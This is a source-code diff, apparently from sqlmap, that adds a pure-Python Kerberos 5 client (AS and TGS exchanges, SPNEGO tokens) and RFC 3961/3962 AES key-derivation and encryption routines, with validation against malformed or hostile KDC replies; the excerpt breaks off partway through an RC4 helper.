Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962
|
||||
# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication;
|
||||
# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing).
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
import calendar
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
|
||||
from extra.kerberos import der
|
||||
from extra.kerberos import spnego
|
||||
from extra.kerberos.crypto import ENCTYPES
|
||||
|
||||
GSS_CHECKSUM_TYPE = 0x8003 # RFC 4121 section 4.1.1 authenticator checksum
|
||||
GSS_CHECKSUM_FLAGS = 0 # no GSS context flags requested (no mutual/deleg)
|
||||
TICKET_LIFETIME_SECONDS = 10 * 3600 # requested 'till' offset (KDC clamps to its max)
|
||||
|
||||
# message types
|
||||
AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30
|
||||
|
||||
# principal name types
|
||||
NT_PRINCIPAL, NT_SRV_INST = 1, 2
|
||||
|
||||
# PA-DATA types
|
||||
PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19
|
||||
|
||||
# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth
|
||||
KDC_ERR_PREAUTH_REQUIRED = 25
|
||||
|
||||
# key usages (RFC 4120 section 7.5.1)
|
||||
USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1
|
||||
USAGE_AS_REP_ENCPART = 3
|
||||
USAGE_TGS_REQ_AUTH_CKSUM = 6
|
||||
USAGE_TGS_REQ_AUTH = 7
|
||||
USAGE_TGS_REP_ENCPART = 8
|
||||
USAGE_AP_REQ_AUTH = 11
|
||||
|
||||
PVNO = 5
|
||||
DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first)
|
||||
KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange
|
||||
MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix)
|
||||
KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ" # RFC 4120 KerberosTime (always UTC)
|
||||
|
||||
# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it
|
||||
# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would
|
||||
# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about
|
||||
# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour.
|
||||
MIN_PBKDF2_ITERATIONS = 4096 # the RFC 3962 default; nothing legitimate is lower
|
||||
MAX_PBKDF2_ITERATIONS = 1000000
|
||||
|
||||
def _enctype(etype):
|
||||
if etype not in ENCTYPES:
|
||||
raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype)
|
||||
return ENCTYPES[etype]
|
||||
|
||||
class KerberosError(Exception):
|
||||
def __init__(self, code, text=None):
|
||||
Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else ""))
|
||||
self.code = code
|
||||
|
||||
# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------
|
||||
# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be
|
||||
# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV.
|
||||
def _fields(sequenceContent):
|
||||
out = {}
|
||||
for tag, inner in der.children(sequenceContent):
|
||||
if 0xA0 <= tag <= 0xBE: # context-specific, constructed [0]..[30]
|
||||
out[tag - 0xA0] = inner
|
||||
return out
|
||||
|
||||
def _expInteger(field):
|
||||
return der.decodeInteger(der.peel(field)[1])
|
||||
|
||||
def _expString(field):
|
||||
return der.decodeGeneralString(der.peel(field)[1])
|
||||
|
||||
def _expOctet(field):
|
||||
return bytes(der.peel(field)[1])
|
||||
|
||||
def _expFields(field):
|
||||
"""For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map."""
|
||||
|
||||
return _fields(der.peel(field)[1])
|
||||
|
||||
# ---- message building -----------------------------------------------------------------------------
|
||||
def _nonce():
|
||||
return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff
|
||||
|
||||
def _kerberosTime(offsetSeconds=0):
|
||||
return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds))
|
||||
|
||||
_timestampLock = threading.Lock()
|
||||
_lastMicros = -1
|
||||
|
||||
def _timestamp():
|
||||
"""(KerberosTime, microseconds) taken from a single clock reading and unique within the process.
|
||||
|
||||
An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service,
|
||||
and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly
|
||||
increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction.
|
||||
"""
|
||||
|
||||
global _lastMicros
|
||||
|
||||
with _timestampLock:
|
||||
micros = max(int(time.time() * 1000000), _lastMicros + 1)
|
||||
_lastMicros = micros
|
||||
return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000
|
||||
|
||||
def _expTime(field):
|
||||
"""An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual
|
||||
time format degrades ticket-expiry tracking rather than failing the exchange)."""
|
||||
|
||||
try:
|
||||
return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT))
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
def _principalName(nameType, components):
|
||||
return der.sequence(
|
||||
der.tagged(0, der.integer(nameType)),
|
||||
der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])),
|
||||
)
|
||||
|
||||
def _encryptedData(etype, cipher, kvno=None):
|
||||
parts = [der.tagged(0, der.integer(etype))]
|
||||
if kvno is not None:
|
||||
parts.append(der.tagged(1, der.integer(kvno)))
|
||||
parts.append(der.tagged(2, der.octetString(cipher)))
|
||||
return der.sequence(*parts)
|
||||
|
||||
# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ----------------------
|
||||
def _recvExactly(sock, count):
|
||||
buf = b""
|
||||
while len(buf) < count:
|
||||
chunk = sock.recv(count - len(buf))
|
||||
if not chunk:
|
||||
raise KerberosError(-1, "connection closed by KDC")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _sendReceive(host, port, request):
|
||||
sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT)
|
||||
try:
|
||||
sock.sendall(struct.pack(">I", len(request)) + request)
|
||||
length = struct.unpack(">I", _recvExactly(sock, 4))[0]
|
||||
if length > MAX_KDC_RESPONSE:
|
||||
raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length)
|
||||
return _recvExactly(sock, length)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
def _raiseIfError(message):
|
||||
tag, content, _ = der.peel(message)
|
||||
if tag == der.applicationTag(KRB_ERROR):
|
||||
fields = _fields(der.peel(content)[1])
|
||||
raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1,
|
||||
_expString(fields[11]) if 11 in fields else None)
|
||||
return tag, content
|
||||
|
||||
def _etypeHints(methodData):
|
||||
"""Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as
|
||||
{etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the
|
||||
long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller
|
||||
falls back to its defaults) rather than raising."""
|
||||
|
||||
hints = {}
|
||||
try:
|
||||
for _, paData in der.children(der.peel(methodData)[1]):
|
||||
pa = _fields(paData)
|
||||
if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2:
|
||||
info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry)
|
||||
for _, entry in der.children(der.peel(info)[1]):
|
||||
fields = _fields(entry)
|
||||
salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8
|
||||
iterations = None
|
||||
if 2 in fields:
|
||||
raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES
|
||||
iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None
|
||||
hints.setdefault(_expInteger(fields[0]), (salt, iterations))
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
hints.clear() # malformed hint -> fall back to the default etype/salt
|
||||
return hints
|
||||
|
||||
def _preauthHints(errorFields):
|
||||
"""The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort)."""
|
||||
|
||||
if 12 not in errorFields: # no e-data
|
||||
return {}
|
||||
try:
|
||||
return _etypeHints(der.peel(errorFields[12])[1]) # e-data OCTET STRING -> METHOD-DATA
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
return {}
|
||||
|
||||
def _validatedIterations(iterations):
|
||||
"""Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a
|
||||
spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send
|
||||
or stall the scan for hours; failing loudly beats doing either silently."""
|
||||
|
||||
if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS:
|
||||
raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations)
|
||||
return iterations
|
||||
|
||||
def _hintFor(hints, etype, salt, chosenSalt):
|
||||
"""Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor."""
|
||||
|
||||
advertisedSalt, iterations = hints.get(etype, (None, None))
|
||||
if salt is None and advertisedSalt is not None:
|
||||
chosenSalt = advertisedSalt
|
||||
return chosenSalt, _validatedIterations(iterations)
|
||||
|
||||
def _replyEtype(response):
|
||||
"""Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key)."""
|
||||
|
||||
try:
|
||||
rep = _fields(der.peel(der.peel(response)[1])[1])
|
||||
return _expInteger(_expFields(rep[6])[0])
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
raise KerberosError(-1, "malformed KDC reply")
|
||||
|
||||
def _parseRep(response, key, usage, expectedNonce, expectedType):
|
||||
"""Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the
|
||||
opaque ticket and the freshly issued session key. The two replies are structurally identical.
|
||||
The reply's application tag MUST match the expected message type, and the nonce carried in the
|
||||
(integrity-protected) enc-part MUST equal the request nonce (RFC 4120)."""
|
||||
|
||||
try: # any structural defect in a hostile/truncated reply -> KerberosError
|
||||
tag, repContent = _raiseIfError(response)
|
||||
if tag != der.applicationTag(expectedType):
|
||||
raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag)
|
||||
rep = _fields(der.peel(repContent)[1])
|
||||
encData = _expFields(rep[6]) # enc-part (EncryptedData)
|
||||
repEtype = _expInteger(encData[0])
|
||||
try:
|
||||
encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2]))
|
||||
except ValueError: # HMAC mismatch -> we hold the wrong long-term key
|
||||
raise KerberosError(-1, "reply decryption failed (wrong password or salt)")
|
||||
|
||||
# Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2]
|
||||
encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1])
|
||||
if _expInteger(encKdcRep[2]) != expectedNonce:
|
||||
raise KerberosError(-1, "reply nonce does not match the request (possible replay)")
|
||||
keyFields = _expFields(encKdcRep[0])
|
||||
|
||||
return {
|
||||
"ticket": bytes(rep[5]),
|
||||
"sessionKey": _expOctet(keyFields[1]),
|
||||
"sessionKeyType": _expInteger(keyFields[0]),
|
||||
"etype": repEtype,
|
||||
"crealm": _expString(rep[3]),
|
||||
# EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch
|
||||
"endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None,
|
||||
}
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
raise KerberosError(-1, "malformed KDC reply")
|
||||
|
||||
def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None):
|
||||
parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))] # kdc-options
|
||||
if cnameComponents is not None:
|
||||
parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents))) # cname (AS only)
|
||||
parts.append(der.tagged(2, der.generalString(realm))) # realm
|
||||
parts.append(der.tagged(3, _principalName(snameType, snameComponents))) # sname
|
||||
parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS)))) # till
|
||||
parts.append(der.tagged(7, der.integer(nonce))) # nonce
|
||||
parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype
|
||||
return der.sequence(*parts)
|
||||
|
||||
def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None):
|
||||
ctime, cusec = _timestamp() # both from one clock reading, never repeating
|
||||
parts = [
|
||||
der.tagged(0, der.integer(PVNO)),
|
||||
der.tagged(1, der.generalString(crealm)),
|
||||
der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)),
|
||||
]
|
||||
if cksum is not None:
|
||||
parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])),
|
||||
der.tagged(1, der.octetString(cksum[1])))))
|
||||
parts.append(der.tagged(4, der.integer(cusec)))
|
||||
parts.append(der.tagged(5, der.generalizedTime(ctime)))
|
||||
if seqNumber is not None: # [7] seq-number, expected of a GSS AP-REQ
|
||||
parts.append(der.tagged(7, der.integer(seqNumber)))
|
||||
return der.application(2, der.sequence(*parts))
|
||||
|
||||
def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"):
|
||||
return der.application(AP_REQ, der.sequence(
|
||||
der.tagged(0, der.integer(PVNO)),
|
||||
der.tagged(1, der.integer(AP_REQ)),
|
||||
der.tagged(2, der.bitString(apOptions)),
|
||||
der.tagged(3, ticket), # raw Ticket TLV (already [APPLICATION 1])
|
||||
der.tagged(4, _encryptedData(etype, encAuthenticator)),
|
||||
))
|
||||
|
||||
# ---- AS exchange (password -> TGT) ----------------------------------------------------------------
|
||||
def _asReq(realm, username, etypes, nonce, padata=None):
|
||||
reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username])
|
||||
parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))]
|
||||
if padata is not None:
|
||||
parts.append(der.tagged(3, der.sequenceOf([padata])))
|
||||
parts.append(der.tagged(4, reqBody))
|
||||
return der.application(AS_REQ, der.sequence(*parts))
|
||||
|
||||
def _selectEtype(etypes, hints):
|
||||
"""
|
||||
The etype getTGT commits to after a preauth-required hint: OUR first offered etype that is also
|
||||
KDC-hinted and supported, falling back to our top preference. The unauthenticated hint can only
|
||||
reorder WITHIN what we offered - it can never pull us onto an etype we did not offer (anti-downgrade).
|
||||
"""
|
||||
|
||||
return next((_ for _ in etypes if _ in hints and _ in ENCTYPES), etypes[0])
|
||||
|
||||
def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None):
|
||||
"""Run the AS exchange and return the TGT and its session key.
|
||||
|
||||
Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected
|
||||
etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals
|
||||
work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns
|
||||
{'ticket': <raw Ticket TLV>, 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str,
|
||||
'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive).
|
||||
"""
|
||||
|
||||
chosenSalt = salt if salt is not None else realm + username
|
||||
|
||||
# 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright)
|
||||
nonce = _nonce()
|
||||
response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce))
|
||||
tag = der.peel(response)[0]
|
||||
|
||||
if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth
|
||||
etype = _replyEtype(response) # derive the key for the etype the KDC actually used
|
||||
rep = _fields(der.peel(der.peel(response)[1])[1])
|
||||
# the reply's own padata can still carry the salt/iterations of a non-default principal
|
||||
chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt)
|
||||
clientKey = _enctype(etype).string2key(password, chosenSalt, iterations)
|
||||
return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
|
||||
|
||||
etype, iterations = etypes[0], None
|
||||
if tag == der.applicationTag(KRB_ERROR):
|
||||
errorFields = _fields(der.peel(der.peel(response)[1])[1])
|
||||
code = _expInteger(errorFields[6]) if 6 in errorFields else -1
|
||||
if code != KDC_ERR_PREAUTH_REQUIRED:
|
||||
raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None)
|
||||
# the hint is unauthenticated, so it may only choose among the etypes we actually offered, and
|
||||
# in *our* order of preference rather than the KDC's (otherwise it could force a downgrade)
|
||||
hints = _preauthHints(errorFields)
|
||||
etype = _selectEtype(etypes, hints)
|
||||
chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt)
|
||||
|
||||
enc = _enctype(etype)
|
||||
clientKey = enc.string2key(password, chosenSalt, iterations)
|
||||
|
||||
# 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt
|
||||
patime, pausec = _timestamp()
|
||||
paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec)))
|
||||
cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc)
|
||||
paData = der.sequence(
|
||||
der.tagged(1, der.integer(PA_ENC_TIMESTAMP)),
|
||||
der.tagged(2, der.octetString(_encryptedData(etype, cipher))),
|
||||
)
|
||||
nonce = _nonce()
|
||||
response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData))
|
||||
return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
|
||||
|
||||
# ---- TGS exchange (TGT -> service ticket) ---------------------------------------------------------
|
||||
def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES):
|
||||
"""Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service.
|
||||
|
||||
Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals
|
||||
are not followed, so 'serviceComponents' must name a service inside 'realm'.
|
||||
"""
|
||||
|
||||
enc = _enctype(tgt["sessionKeyType"])
|
||||
nonce = _nonce()
|
||||
reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce)
|
||||
|
||||
cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody))
|
||||
authenticator = _authenticator(realm, [username], cksum=cksum)
|
||||
encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator)
|
||||
apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"])
|
||||
|
||||
paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq)))
|
||||
tgsReq = der.application(TGS_REQ, der.sequence(
|
||||
der.tagged(1, der.integer(PVNO)),
|
||||
der.tagged(2, der.integer(TGS_REQ)),
|
||||
der.tagged(3, der.sequenceOf([paTgs])),
|
||||
der.tagged(4, reqBody),
|
||||
))
|
||||
|
||||
return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP)
|
||||
|
||||
# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) -----------------
|
||||
def spnegoFromTicket(service, realm, username):
|
||||
"""Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each
|
||||
call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back
|
||||
every request of a scan cheaply."""
|
||||
|
||||
enc = _enctype(service["sessionKeyType"])
|
||||
gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("<I", 16) + b"\x00" * 16 + struct.pack("<I", GSS_CHECKSUM_FLAGS))
|
||||
# seq-number is expected of the GSS mechanism's initial AP-REQ (RFC 4121), so always send one
|
||||
authenticator = _authenticator(realm, [username], cksum=gssChecksum, seqNumber=_nonce())
|
||||
encAuth = enc.encrypt(service["sessionKey"], USAGE_AP_REQ_AUTH, authenticator)
|
||||
return spnego.negTokenInit(_apReq(service["ticket"], encAuth, service["sessionKeyType"]))
|
||||
@@ -0,0 +1,263 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free Kerberos "simplified profile" crypto (RFC 3961) for the AES-CTS-HMAC-SHA1-96 etypes
|
||||
# (RFC 3962: aes128-cts-hmac-sha1-96 = etype 17, aes256-cts-hmac-sha1-96 = etype 18), built on the
|
||||
# pure-Python AES core. Provides n-fold, DK/DR key derivation, string-to-key (PBKDF2-HMAC-SHA1) and
|
||||
# authenticated encrypt/decrypt. Validated against the RFC 3961 A / RFC 3962 B test vectors.
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
import binascii
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import struct
|
||||
|
||||
from extra.kerberos.aes import AES, _xor # _xor reused (no second copy) from the AES core
|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.request.ntlm import _md4 # proven RFC 1320 MD4 (reused, not re-derived)
|
||||
|
||||
# RFC 3962 string-to-key default work factor when the KDC advertises no explicit count
|
||||
DEFAULT_PBKDF2_ITERATIONS = 4096
|
||||
|
||||
def _to_bytes(value):
|
||||
return value if isinstance(value, bytes) else value.encode("utf-8")
|
||||
|
||||
def _b2i(data):
|
||||
data = bytearray(data)
|
||||
return int(binascii.hexlify(bytes(data)), 16) if data else 0
|
||||
|
||||
def _i2b(n, length):
|
||||
if length <= 0:
|
||||
return bytearray()
|
||||
return bytearray(binascii.unhexlify(("%0*x" % (length * 2, n))[-length * 2:]))
|
||||
|
||||
def _eq(a, b):
|
||||
return hmac.compare_digest(bytes(a), bytes(b)) if hasattr(hmac, "compare_digest") else (bytes(a) == bytes(b))
|
||||
|
||||
def _pbkdf2(password, salt, iterations, dklen):
|
||||
"""PBKDF2-HMAC-SHA1. Uses the stdlib primitive when present, with an RFC 2898 fallback for the
|
||||
pre-2.7.8 interpreters that lack hashlib.pbkdf2_hmac."""
|
||||
|
||||
if hasattr(hashlib, "pbkdf2_hmac"):
|
||||
return hashlib.pbkdf2_hmac("sha1", password, salt, iterations, dklen)
|
||||
|
||||
out = bytearray()
|
||||
block = 1
|
||||
while len(out) < dklen:
|
||||
u = hmac.new(password, salt + struct.pack(">I", block), hashlib.sha1).digest()
|
||||
acc = bytearray(u)
|
||||
for _ in range(iterations - 1):
|
||||
u = hmac.new(password, u, hashlib.sha1).digest()
|
||||
acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u)))
|
||||
out += acc
|
||||
block += 1
|
||||
return bytes(out[:dklen])
|
||||
|
||||
def _rotate_right(data, nbits):
|
||||
"""Rotate a byte string right by 'nbits' bits, preserving its length."""
|
||||
|
||||
data = bytearray(data)
|
||||
if not data:
|
||||
return data
|
||||
total = len(data) * 8
|
||||
nbits %= total
|
||||
value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1)
|
||||
return _i2b(value, len(data))
|
||||
|
||||
def nfold(data, nbytes):
|
||||
"""RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an
|
||||
end-around carry (ones-complement addition)."""
|
||||
|
||||
data = bytearray(data)
|
||||
|
||||
def gcd(a, b):
|
||||
while b:
|
||||
a, b = b, a % b
|
||||
return a
|
||||
|
||||
lcm = len(data) * nbytes // gcd(len(data), nbytes)
|
||||
|
||||
buf = bytearray()
|
||||
rotation = 0
|
||||
while len(buf) < lcm:
|
||||
buf += _rotate_right(data, rotation)
|
||||
rotation += 13
|
||||
|
||||
bits = 8 * nbytes
|
||||
mask = (1 << bits) - 1
|
||||
acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes))
|
||||
while acc > mask:
|
||||
acc = (acc & mask) + (acc >> bits)
|
||||
return bytes(_i2b(acc, nbytes))
|
||||
|
||||
class AESEnctype(object):
|
||||
"""AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18."""
|
||||
|
||||
blocksize = 16
|
||||
macsize = 12
|
||||
|
||||
def __init__(self, keysize):
|
||||
self.keysize = keysize
|
||||
self.cksumtype = 16 if keysize == 32 else 15 # hmac-sha1-96-aes256 / -aes128
|
||||
|
||||
def checksum(self, key, usage, data):
|
||||
"""Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99)."""
|
||||
|
||||
kc = self.dk(key, struct.pack(">IB", usage, 0x99))
|
||||
return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize]
|
||||
|
||||
# --- key schedule -------------------------------------------------------------------------------
|
||||
def _dr(self, key, constant):
|
||||
"""RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize."""
|
||||
|
||||
aes = AES(key)
|
||||
block = nfold(constant, self.blocksize)
|
||||
out = bytearray()
|
||||
while len(out) < self.keysize:
|
||||
block = aes.encryptBlock(block) # single 16-byte block => CBC(iv=0) == ECB
|
||||
out += bytearray(block)
|
||||
return bytes(out[:self.keysize])
|
||||
|
||||
@cachedmethod
|
||||
def dk(self, key, constant):
|
||||
"""RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES.
|
||||
|
||||
Cached: it is a pure function of (key, constant), while a scan mints an authenticator per
|
||||
request from the same handful of long-lived keys, so the pure-Python DR would otherwise be
|
||||
recomputed for every single one."""
|
||||
|
||||
return self._dr(key, constant)
|
||||
|
||||
def string2key(self, password, salt, iterations=None):
|
||||
"""RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos")."""
|
||||
|
||||
iterations = iterations or DEFAULT_PBKDF2_ITERATIONS
|
||||
tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize)
|
||||
return self.dk(tkey, b"kerberos")
|
||||
|
||||
# --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------
|
||||
def _basicEncrypt(self, key, data):
|
||||
aes = AES(key)
|
||||
padded = data + b"\x00" * ((-len(data)) % self.blocksize)
|
||||
ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded)
|
||||
if len(data) > self.blocksize:
|
||||
lastlen = len(data) % self.blocksize or self.blocksize
|
||||
ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen]
|
||||
return ct
|
||||
|
||||
def _basicDecrypt(self, key, data):
|
||||
aes = AES(key)
|
||||
if len(data) == self.blocksize:
|
||||
return aes.decryptBlock(data)
|
||||
|
||||
blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)]
|
||||
lastlen = len(blocks[-1])
|
||||
prev = bytearray(self.blocksize)
|
||||
out = bytearray()
|
||||
for block in blocks[:-2]:
|
||||
out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev))
|
||||
prev = block
|
||||
|
||||
decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2])))
|
||||
lastPlain = _xor(decrypted[:lastlen], blocks[-1])
|
||||
omitted = decrypted[lastlen:]
|
||||
secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev)
|
||||
return bytes(out) + secondLast + lastPlain
|
||||
|
||||
# --- authenticated encryption (RFC 3961 section 5.3) --------------------------------------------
|
||||
def _keys(self, key, usage):
|
||||
ke = self.dk(key, struct.pack(">IB", usage, 0xAA))
|
||||
ki = self.dk(key, struct.pack(">IB", usage, 0x55))
|
||||
return ke, ki
|
||||
|
||||
def encrypt(self, key, usage, plaintext, confounder=None):
|
||||
ke, ki = self._keys(key, usage)
|
||||
if confounder is None:
|
||||
confounder = os.urandom(self.blocksize)
|
||||
basic = confounder + plaintext
|
||||
return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]
|
||||
|
||||
def decrypt(self, key, usage, ciphertext):
|
||||
if len(ciphertext) < self.blocksize + self.macsize: # confounder block + HMAC; guards a hostile short reply
|
||||
raise ValueError("Kerberos ciphertext too short")
|
||||
ke, ki = self._keys(key, usage)
|
||||
ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:]
|
||||
basic = self._basicDecrypt(ke, ct)
|
||||
if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]):
|
||||
raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
|
||||
return basic[self.blocksize:]
|
||||
|
||||
def _rc4(key, data):
|
||||
"""RC4 (ARCFOUR) stream cipher."""
|
||||
|
||||
key, data = bytearray(key), bytearray(data)
|
||||
if not key:
|
||||
raise ValueError("RC4 requires a non-empty key")
|
||||
s = list(range(256))
|
